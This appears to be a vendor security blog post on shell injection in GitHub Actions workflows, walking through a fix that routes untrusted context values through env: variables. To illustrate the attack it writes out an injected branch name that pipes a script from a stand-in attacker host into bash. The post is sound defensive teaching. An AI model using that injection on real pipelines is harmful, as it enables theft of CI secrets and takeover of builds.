GitHub Actions Shell Injection: How ${{ }} Variables Can Compromise Your CI/CD Pipeline
Introduction
CI/CD pipelines are the beating heart of modern software delivery. They build, test, and deploy your code — and they often have access to your most sensitive secrets: API keys, cloud credentials, signing certificates, and deployment tokens. That makes them a high-value target for attackers.
One of the most subtle and dangerous vulnerabilities in GitHub Actions workflows is shell injection via variable interpolation. It doesn't require a sophisticated exploit. It doesn't need a zero-day. In many cases, all it takes is a carefully crafted pull request title, branch name, or issue comment — and an attacker can execute arbitrary code inside your CI runner.
This post breaks down exactly how this vulnerability works, why it was dangerous in the patched workflow, and what every developer should do to protect their pipelines.
The Vulnerability Explained
What Is GitHub Actions Shell Injection?
GitHub Actions workflows can be triggered by many events — pull requests, issue comments, workflow dispatches, and more. These events carry context data accessible via the github object (e.g., github.event.pull_request.title, github.actor, github.event.inputs.branch).
The problem arises when developers use ${{ }} interpolation to embed this context data directly inside a run: shell script:
# ⚠️ VULNERABLE PATTERN
- name: Run tests
run: |
echo "Running for branch: ${{ github.event.inputs.branch }}"
./scripts/run-tests.sh ${{ github.event.inputs.branch }}
Here's the critical insight: ${{ }} expressions are evaluated and substituted before the shell ever sees the script. GitHub Actions performs a simple text substitution. If the value of github.event.inputs.branch contains shell metacharacters or commands, they become part of the shell script itself.
How Could It Be Exploited?
Consider what happens if an attacker (or a contributor with write access to a fork) supplies this as the branch name in a workflow dispatch:
main; curl -s https://attacker.com/exfil.sh | bash
After interpolation, the run: block becomes:
echo "Running for branch: main; curl -s https://attacker.com/exfil.sh | bash"
./scripts/run-tests.sh main; curl -s https://attacker.com/exfil.sh | bash
The shell dutifully executes the injected command. The attacker's script now runs inside your CI environment — with full access to:
- Repository secrets (exposed as environment variables)
- GitHub tokens (the
GITHUB_TOKENwith repo permissions) - Cloud provider credentials (AWS, GCP, Azure keys)
- Source code and build artifacts
- Internal network resources accessible from the runner
The Specific Vulnerability in This PR
The vulnerability was found in .github/workflows/browserstack-dispatch.yml at line 65, where ${{ }} interpolation was used with github context data inside a run: step. The Semgrep scanner flagged this with rule yaml.github-actions.security.run-shell-injection.run-shell-injection.
BrowserStack dispatch workflows often accept external inputs (like device names, test configurations, or branch names) that could be influenced by untrusted parties — making this a realistic attack surface.
Real-World Impact
This isn't theoretical. Shell injection in GitHub Actions has been exploited in the wild:
- Codecov breach (2021): Attackers modified a CI script to exfiltrate environment variables containing secrets from thousands of projects.
- Dependency confusion attacks: Malicious packages have been designed to exploit CI environments when installed during build steps.
- Crypto-mining campaigns: Compromised CI runners are frequently used for unauthorized compute resources.
The CVSS classification for this type of vulnerability typically falls in the HIGH to CRITICAL range due to the potential for complete secret exfiltration and pipeline takeover.
The Fix
The Solution: Intermediate Environment Variables
The fix is elegantly simple. Instead of interpolating ${{ }} directly into the shell script, you first assign the value to an environment variable using the env: block, then reference that environment variable in the script.
Before (Vulnerable):
- name: Trigger BrowserStack tests
run: |
echo "Dispatching for: ${{ github.event.inputs.branch }}"
curl -X POST \
-H "Authorization: Bearer ${{ secrets.BROWSERSTACK_TOKEN }}" \
"https://api.browserstack.com/automate/builds/${{ github.event.inputs.build_id }}"
After (Fixed):
- name: Trigger BrowserStack tests
env:
BRANCH_NAME: ${{ github.event.inputs.branch }}
BUILD_ID: ${{ github.event.inputs.build_id }}
BROWSERSTACK_TOKEN: ${{ secrets.BROWSERSTACK_TOKEN }}
run: |
echo "Dispatching for: $BRANCH_NAME"
curl -X POST \
-H "Authorization: Bearer $BROWSERSTACK_TOKEN" \
"https://api.browserstack.com/automate/builds/$BUILD_ID"
Why Does This Fix Work?
The key difference is when and how substitution happens:
| Approach | Substitution Timing | Shell Sees |
|---|---|---|
${{ github.event.inputs.branch }} in run: |
Before shell execution (template substitution) | Raw injected value as code |
env: + $ENV_VAR in run: |
After shell parses the script | Value as a data string |
When you use env: to assign the value and then reference $ENV_VAR in the shell, the shell treats the variable's content as data, not as code. Even if the value contains semicolons, backticks, or subshell syntax, the shell won't execute it — it's just a string.
The double-quoting ("$BRANCH_NAME") is also important: it prevents word splitting and glob expansion, ensuring the value is treated as a single argument even if it contains spaces.
Additional Hardening in the Fix
Best-practice fixes also include:
- name: Trigger BrowserStack tests
env:
BRANCH_NAME: ${{ github.event.inputs.branch }}
run: |
# Validate input before use (defense in depth)
if [[ ! "$BRANCH_NAME" =~ ^[a-zA-Z0-9/_.-]+$ ]]; then
echo "Invalid branch name format"
exit 1
fi
echo "Dispatching for: $BRANCH_NAME"
Input validation as a second layer ensures that even if the environment variable approach were somehow bypassed, only expected characters are accepted.
Prevention & Best Practices
1. Never Use ${{ }} Directly in run: Scripts
Treat all github context values as untrusted user input. The following contexts are particularly dangerous:
github.event.pull_request.title
github.event.pull_request.body
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.inputs.*
github.head_ref
github.actor
Always route these through env: variables.
2. Use GitHub's Official Guidance
GitHub's own security documentation states:
"We recommend that you avoid using
${{ }}with contexts that contain untrusted user input. Instead, use an intermediate environment variable."
Reference: GitHub Docs — Security hardening for GitHub Actions
3. Adopt Static Analysis in Your Pipeline
Add security scanning for your workflow files. Tools that catch this vulnerability include:
- Semgrep — The scanner that caught this vulnerability, with rules specifically for GitHub Actions injection
- actionlint — A static checker for GitHub Actions workflow files
- Zizmor — Focused specifically on GitHub Actions security issues
- StepSecurity Harden-Runner — Runtime monitoring for GitHub Actions
# Add this to your own workflows to scan for issues
- name: Scan workflows with actionlint
uses: raven-actions/actionlint@v1
4. Apply Least-Privilege Permissions
Even if injection occurs, limiting the GITHUB_TOKEN permissions reduces blast radius:
permissions:
contents: read # Only what you need
pull-requests: write # Only if required
# Avoid: write-all
5. Pin Action Versions to Full Commit SHAs
Prevent supply chain attacks through compromised action versions:
# ⚠️ Vulnerable to tag hijacking
- uses: actions/checkout@v4
# ✅ Pinned to immutable commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
6. Relevant Security Standards
This vulnerability maps to several well-known security frameworks:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
- CWE-77: Improper Neutralization of Special Elements used in a Command
- OWASP Top 10 A03:2021: Injection
- SLSA (Supply Chain Levels for Software Artifacts): Addresses pipeline integrity requirements
A Note on the Broader Context
The vulnerability report also mentions a separate concern about OAuth tokens stored in plaintext on the local filesystem (in plugins/auth-oauth2/src/store.ts). While this PR specifically addresses the GitHub Actions shell injection issue, the credential storage problem is a reminder that secrets require protection at every layer:
- In transit (TLS)
- At rest (encryption, e.g., using PBKDF2 or platform keychains)
- In CI/CD pipelines (proper secret management, not interpolation into scripts)
Security is a holistic practice — fixing one vector while ignoring others leaves you partially exposed.
Conclusion
GitHub Actions shell injection is one of those vulnerabilities that looks harmless at first glance — it's just a workflow file, right? But CI/CD pipelines are privileged environments. They hold your secrets, they have network access, and they run code automatically in response to external events.
The key takeaways from this fix:
${{ }}inrun:blocks is a code injection risk when used with untrusted context data- The fix is simple: use
env:to assign values, then reference them as$ENV_VARin your scripts - Always double-quote environment variables:
"$ENV_VAR" - Validate inputs as a defense-in-depth measure
- Use static analysis tools like Semgrep and actionlint to catch these issues automatically
A one-line change in a YAML file can be the difference between a secure pipeline and a complete secrets breach. Take the time to audit your workflows — your production environment will thank you.
Found a security issue in your codebase? Automated security scanning tools can help identify and fix vulnerabilities like this one before they reach production. Check out OrbisAI Security for automated security remediation.